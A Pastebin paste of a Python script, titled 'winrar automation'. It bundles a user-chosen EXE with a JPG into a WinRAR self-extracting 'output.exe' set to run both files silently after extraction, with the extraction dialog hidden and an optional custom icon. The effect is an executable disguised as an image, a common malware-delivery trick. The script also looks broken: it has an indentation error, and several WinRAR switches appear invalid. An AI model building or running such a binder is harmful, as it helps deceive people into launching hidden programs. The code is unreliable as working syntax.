Guest User

winrar automation

a guest
Dec 19th, 2023
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.63 KB | Help | 0 0
  1. import subprocess
  2. import os
  3.  
  4.  
  5. def find_winrar():
  6.     print("Looking for WinRAR...")
  7.  
  8.         restricted_directories = {'C:\\Windows', 'C:\\Program Files', 'C:\\Program Files (x86)'}
  9.  
  10.     for root, dirs, files in os.walk('C:\\', topdown=True):
  11.        
  12.         if any(root.startswith(dir_) for dir_ in restricted_directories):
  13.             continue
  14.  
  15.         if 'WinRAR.exe' in files:
  16.             winrar_path = root  # Use the directory containing WinRAR.exe
  17.             print(f"WinRAR found at: {winrar_path}")
  18.             save_path(winrar_path)  # Save the path to a file
  19.             return winrar_path
  20.  
  21.     return None
  22.  
  23.  
  24. def save_path(path):
  25.     with open('winrar_path.txt', 'w') as file:
  26.         file.write(path)
  27.  
  28.  
  29. def load_path():
  30.     try:
  31.         with open('winrar_path.txt', 'r') as file:
  32.             return file.read().strip()
  33.     except FileNotFoundError:
  34.         return None
  35.  
  36.  
  37. def get_user_input(prompt):
  38.     return input(prompt).strip()
  39.  
  40.  
  41. def main():
  42.    
  43.     winrar_path = load_path()
  44.  
  45.     if not winrar_path:
  46.        
  47.         winrar_path = find_winrar()
  48.         if not winrar_path:
  49.             print("Error: WinRAR not found.")
  50.             return
  51.  
  52.        
  53.         save_path(winrar_path)
  54.  
  55.     print(f"Using WinRAR found at: {winrar_path}")
  56.  
  57.    
  58.     exe_file = get_user_input("Enter the path to the EXE file: ")
  59.     jpg_file = get_user_input("Enter the path to the JPG file: ")
  60.  
  61.     archive_name = "output.exe"
  62.  
  63.  
  64.     print(f"WinRAR Path: {winrar_path}")
  65.  
  66.  
  67.     print("Running subprocess command:")
  68.     print([os.path.join(winrar_path, 'WinRAR.exe'), 'a', '-sfx', archive_name, exe_file, jpg_file])
  69.  
  70.    
  71.     subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'a', '-sfx', archive_name, exe_file, jpg_file])
  72.  
  73.    
  74.     subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-af', archive_name])
  75.  
  76.    
  77.     run_after_extraction = f'{os.path.basename(jpg_file)}\n{os.path.basename(exe_file)}'
  78.     subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-af', archive_name, '-spf', run_after_extraction])
  79.  
  80.     subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-UnpAuto', 'HideAll', archive_name])
  81.  
  82.     add_icon_option = get_user_input("Would you like to add a thumbnail (ICO file)? (y/n): ").lower()
  83.     if add_icon_option == 'y':
  84.         ico_file = get_user_input("Enter the path to the ICO file: ")
  85.         subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-Icon', ico_file, archive_name])
  86.  
  87.  
  88.     subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-Overwrite', '3', archive_name])
  89.  
  90.  
  91. if __name__ == "__main__":
  92.     main()
  93.  
Advertisement
Add Comment
Please, Sign In to add comment